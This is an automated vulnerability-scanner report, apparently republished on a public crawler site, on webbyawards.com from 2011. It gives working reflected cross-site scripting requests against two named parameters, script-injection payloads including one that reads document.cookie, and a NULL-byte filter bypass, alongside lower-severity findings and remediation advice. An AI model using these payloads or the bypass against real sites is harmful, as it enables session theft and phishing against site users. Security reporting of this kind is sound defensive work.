webbyawards.com, XSS, Cross Site Scripting, CWE-79

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by CloudScan Vulnerability Crawler at Sun Feb 13 19:50:49 CST 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler

The DORK Report

Loading

1. Cross-site scripting (reflected)

1.1. http://www.webbyawards.com/webbys/current_honorees.php [media_id parameter]

1.2. http://www.webbyawards.com/webbys/current_honorees.php [season parameter]

2. Cookie without HttpOnly flag set

3. Cross-domain POST

4. Cross-domain Referer leakage

5. Cross-domain script include

5.1. http://www.webbyawards.com/nettedsplashpage/nettedsignup.html

5.2. http://www.webbyawards.com/webbys/current_honorees.php

6. Email addresses disclosed

6.1. http://www.webbyawards.com/nettedsplashpage/scripts/jquery.cookie.js

6.2. http://www.webbyawards.com/script/site_globals.js

7. Content type incorrectly stated

7.1. http://www.webbyawards.com/script/rotate_quote.js

7.2. http://www.webbyawards.com/script/site_globals.js


1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.webbyawards.com/webbys/current_honorees.php [media_id parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.webbyawards.com
Path:   /webbys/current_honorees.php

Issue detail

The value of the media_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9e24"><script>alert(1)</script>346d75171f8 was submitted in the media_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /webbys/current_honorees.php?media_id=96f9e24"><script>alert(1)</script>346d75171f8&category_id=61&season=13 HTTP/1.1
Host: www.webbyawards.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:24:49 GMT
Server: Apache
X-Powered-By: PHP/4.3.10
Set-Cookie: PHPSESSID=5fff8524ae22c0822fbc5b51180eb842; expires=Mon, 21-Feb-2011 01:24:49 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 20661


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<input type="hidden" name="media_id" value="96f9e24"><script>alert(1)</script>346d75171f8">
...[SNIP]...
1.2. http://www.webbyawards.com/webbys/current_honorees.php [season parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.webbyawards.com
Path:   /webbys/current_honorees.php

Issue detail

The value of the season request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0049771"><script>alert(1)</script>65931fe07a7 was submitted in the season parameter. This input was echoed as 49771"><script>alert(1)</script>65931fe07a7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /webbys/current_honorees.php?media_id=96&category_id=61&season=13%0049771"><script>alert(1)</script>65931fe07a7 HTTP/1.1
Host: www.webbyawards.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:24:53 GMT
Server: Apache
X-Powered-By: PHP/4.3.10
Set-Cookie: PHPSESSID=4dcb5dc8d0991f164ae99145ff045147; expires=Mon, 21-Feb-2011 01:24:53 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 21356


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<a href="current_honorees.php?media_id=96&season=13.49771"><script>alert(1)</script>65931fe07a7">
...[SNIP]...
2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.webbyawards.com
Path:   /webbys/current_honorees.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /webbys/current_honorees.php HTTP/1.1
Host: www.webbyawards.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:24:27 GMT
Server: Apache
X-Powered-By: PHP/4.3.10
Set-Cookie: PHPSESSID=fba7577a5bdd8a814e519643cefa2793; expires=Mon, 21-Feb-2011 01:24:27 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 26238


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
3. Cross-domain POST  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.webbyawards.com
Path:   /webbys/current_honorees.php

Issue detail

The page contains a form which POSTs data to the domain webbyawards.us2.list-manage1.com. The form contains the following fields:

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.

Request

GET /webbys/current_honorees.php HTTP/1.1
Host: www.webbyawards.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:24:27 GMT
Server: Apache
X-Powered-By: PHP/4.3.10
Set-Cookie: PHPSESSID=fba7577a5bdd8a814e519643cefa2793; expires=Mon, 21-Feb-2011 01:24:27 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 26238


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<div id="mc_embed_signup" style="width: 170px;">
<form action="http://webbyawards.us2.list-manage1.com/subscribe/post?u=9f446bb62031cf0570a2cbdf6&amp;id=ca71d77a98" method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank" style="font: normal 100% Arial, sans-serif;font-size: 10px;">
<!--    <fieldset style="-moz-border-radius: 4px;border-radius: 4px;-webkit-border-radius: 4px;border: 0px solid #ccc;padding-top: 1.5em;margin: .5em 0;background-color: #fff;color: #000;text-align: left
...[SNIP]...
4. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.webbyawards.com
Path:   /webbys/current_honorees.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /webbys/current_honorees.php?media_id=96&category_id=61&season=13 HTTP/1.1
Host: www.webbyawards.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:24:29 GMT
Server: Apache
X-Powered-By: PHP/4.3.10
Set-Cookie: PHPSESSID=50e7571677addb7e8b8772b30922f8bf; expires=Mon, 21-Feb-2011 01:24:29 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 26416


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
</script>
       <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js"></script>
       <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js"></script>
...[SNIP]...
<br />
               <a href="http://bx.businessweek.com/" target="_new">http://bx.businessweek.com/</a>
...[SNIP]...
<br />
               <a href="http://www.Fishington.com" target="_new">http://www.Fishington.com</a>
...[SNIP]...
<br />
               <a href="http://www.legacy.com" target="_new">http://www.legacy.com</a>
...[SNIP]...
<br />
               <a href="http://www.livingsocial.com" target="_new">http://www.livingsocial.com</a>
...[SNIP]...
<br />
               <a href="http://www.nineteen74.com" target="_new">http://www.nineteen74.com</a>
...[SNIP]...
<br />
               <a href="http://www.ning.com" target="_new">http://www.ning.com</a>
...[SNIP]...
<br />
               <a href="http://www.raptr.com" target="_new">http://www.raptr.com</a>
...[SNIP]...
<br />
               <a href="http://en.sevenload.com/" target="_new">http://en.sevenload.com/</a>
...[SNIP]...
<br />
               <a href="http://www.theclustr.com" target="_new">http://www.theclustr.com</a>
...[SNIP]...
<br />
               <a href="http://www.travbuddy.com" target="_new">http://www.travbuddy.com</a>
...[SNIP]...
<br />
               <a href="http://www.unleashinginnovation.com" target="_new">http://www.unleashinginnovation.com</a>
...[SNIP]...
</h3>    


       <a href="http://www.twitter.com/thewebbyawards"><img src="http://img.kbmla.com/upload/webby1/images/twitter_icon.gif" img style="border: 0px;"></a>
       <a href="http://www.flickr.com/photos/webbys/"><img src="http://img.kbmla.com/upload/webby1/images/flickr_icon.gif" img style="border: 0px;"></a>
       <a href="http://www.youtube.com/user/TheWebbyAwards"><img src="http://www.webbyawards.com/images/email/you_tube_icon.png" img style="border: 0px;"></a>
       <a href="http://www.webbys.tumblr.com"><img src="http://www.webbyawards.com/images/email/tumblr_icon.png" img style="border: 0px;">
...[SNIP]...
</p>
       <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fthewebbyawards&amp;layout=standard&amp;show_faces=false&amp;width=160&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=35" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:180px; height:35px;" allowTransparency="true"></iframe>
...[SNIP]...
</h3>
           
           <a href="http://www.netted.net"><img src="/images/netted-logo.jpg" img style="border: 0px; padding: 0px 0px 0px 5px;">
...[SNIP]...
<br> <a href="http://www.netted.net">Sign up for Netted now!</a>
...[SNIP]...
<p><a href="http://www.corbisimages.com"><img src="/images/corbis-sidebar.jpg" img style="border: 0px;">
...[SNIP]...
<li><a href="http://iadas.net" target="_blank"><acronym title="The International Academy of Digital Arts and Sciences">
...[SNIP]...
<li><a href="http://www.2advanced.com" title="Link to the 2advanced website" target="_blank"><img src="/images/icon_foot_2advanced.png" alt="2 Advanced Logo" />
...[SNIP]...
5. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

5.1. http://www.webbyawards.com/nettedsplashpage/nettedsignup.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.webbyawards.com
Path:   /nettedsplashpage/nettedsignup.html

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /nettedsplashpage/nettedsignup.html HTTP/1.1
Host: www.webbyawards.com
Proxy-Connection: keep-alive
Referer: http://www.webbyawards.com/webbys/current_honorees.php?media_id=96f9e24%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E346d75171f8&category_id=61&season=13
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=c5911349e5bb3359ef0afa87a67898fd; nettedsplashpage=viewed; __utmz=154301758.1297646958.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/3; __utma=154301758.858846738.1297646958.1297646958.1297646958.1; __utmc=154301758; __utmb=154301758.1.10.1297646958

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:28:43 GMT
Server: Apache
Last-Modified: Fri, 11 Feb 2011 21:11:18 GMT
ETag: "1dac0de-d3f-239ce980"
Accept-Ranges: bytes
Content-Length: 3391
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link rel="stylesheet" type="text/css" href="./css/nettedsignup.css" />

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js"></script>
...[SNIP]...
5.2. http://www.webbyawards.com/webbys/current_honorees.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.webbyawards.com
Path:   /webbys/current_honorees.php

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /webbys/current_honorees.php HTTP/1.1
Host: www.webbyawards.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:24:27 GMT
Server: Apache
X-Powered-By: PHP/4.3.10
Set-Cookie: PHPSESSID=fba7577a5bdd8a814e519643cefa2793; expires=Mon, 21-Feb-2011 01:24:27 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 26238


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
</script>
       <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js"></script>
       <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js"></script>
...[SNIP]...
6. Email addresses disclosed  previous  next
There are 2 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

6.1. http://www.webbyawards.com/nettedsplashpage/scripts/jquery.cookie.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.webbyawards.com
Path:   /nettedsplashpage/scripts/jquery.cookie.js

Issue detail

The following email address was disclosed in the response:

Request

GET /nettedsplashpage/scripts/jquery.cookie.js HTTP/1.1
Host: www.webbyawards.com
Proxy-Connection: keep-alive
Referer: http://www.webbyawards.com/webbys/current_honorees.php?media_id=96f9e24%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E346d75171f8&category_id=61&season=13
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=c5911349e5bb3359ef0afa87a67898fd

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:28:12 GMT
Server: Apache
Last-Modified: Mon, 07 Feb 2011 19:06:27 GMT
ETag: "dcc0d8-e80-edbfd2c0"
Accept-Ranges: bytes
Content-Length: 3712
Content-Type: application/x-javascript

/*jslint browser: true */ /*global jQuery: true */

/**
* jQuery Cookie plugin
*
* Copyright (c) 2010 Klaus Hartl (stilbuero.de)
* Dual licensed under the MIT and GPL licenses:
* http://www.opens
...[SNIP]...
kie will be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/

/**
* Get the value of a cookie with the given key.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String key The key of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function (key, value, options) {

// key and at least value given, set cookie...
if (arguments.length >
...[SNIP]...
6.2. http://www.webbyawards.com/script/site_globals.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.webbyawards.com
Path:   /script/site_globals.js

Issue detail

The following email address was disclosed in the response:

Request

GET /script/site_globals.js HTTP/1.1
Host: www.webbyawards.com
Proxy-Connection: keep-alive
Referer: http://www.webbyawards.com/webbys/current_honorees.php?media_id=96f9e24%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E346d75171f8&category_id=61&season=13
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=c5911349e5bb3359ef0afa87a67898fd

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:28:11 GMT
Server: Apache
Last-Modified: Tue, 10 Apr 2007 08:07:30 GMT
ETag: "2316053-41b-a52b7480"
Accept-Ranges: bytes
Content-Length: 1051
Content-Type: application/x-javascript

<!-- Begin site global js block -->
<!--

function clearTextFields(input) {
if (input.value == 'E-mail Address') { input.value = ''; }
}

function isEmailAddr(email) {
var result = false;

...[SNIP]...
enter a value for the \"email\" field.");
theForm.email.focus();
return (false);
}

if (!isEmailAddr(theForm.email.value))
{
alert("Please enter a complete email address in the form: yourname@yourdomain.com");
theForm.email.focus();
return (false);
}

if (theForm.email.value.length < 3)
{
alert("Please enter at least 3 characters in the \"email\" field.");
theForm.email.focus();

...[SNIP]...
7. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

7.1. http://www.webbyawards.com/script/rotate_quote.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.webbyawards.com
Path:   /script/rotate_quote.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /script/rotate_quote.js HTTP/1.1
Host: www.webbyawards.com
Proxy-Connection: keep-alive
Referer: http://www.webbyawards.com/webbys/current_honorees.php?media_id=96f9e24%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E346d75171f8&category_id=61&season=13
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=c5911349e5bb3359ef0afa87a67898fd

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:28:11 GMT
Server: Apache
Last-Modified: Wed, 31 Mar 2010 20:36:51 GMT
ETag: "2316054-686-b4b71ec0"
Accept-Ranges: bytes
Content-Length: 1670
Content-Type: application/x-javascript

<!-- Begin rotating quote block -->
<!--

var quote_text = new Array();
// List of quotes to load.
// If adding new items, follow the format used below.


quote_text[quote_text.length] = "The only awa
...[SNIP]...
7.2. http://www.webbyawards.com/script/site_globals.js  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.webbyawards.com
Path:   /script/site_globals.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /script/site_globals.js HTTP/1.1
Host: www.webbyawards.com
Proxy-Connection: keep-alive
Referer: http://www.webbyawards.com/webbys/current_honorees.php?media_id=96f9e24%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E346d75171f8&category_id=61&season=13
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=c5911349e5bb3359ef0afa87a67898fd

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:28:11 GMT
Server: Apache
Last-Modified: Tue, 10 Apr 2007 08:07:30 GMT
ETag: "2316053-41b-a52b7480"
Accept-Ranges: bytes
Content-Length: 1051
Content-Type: application/x-javascript

<!-- Begin site global js block -->
<!--

function clearTextFields(input) {
if (input.value == 'E-mail Address') { input.value = ''; }
}

function isEmailAddr(email) {
var result = false;

...[SNIP]...
Report generated by CloudScan Vulnerability Crawler at Sun Feb 13 19:50:49 CST 2011.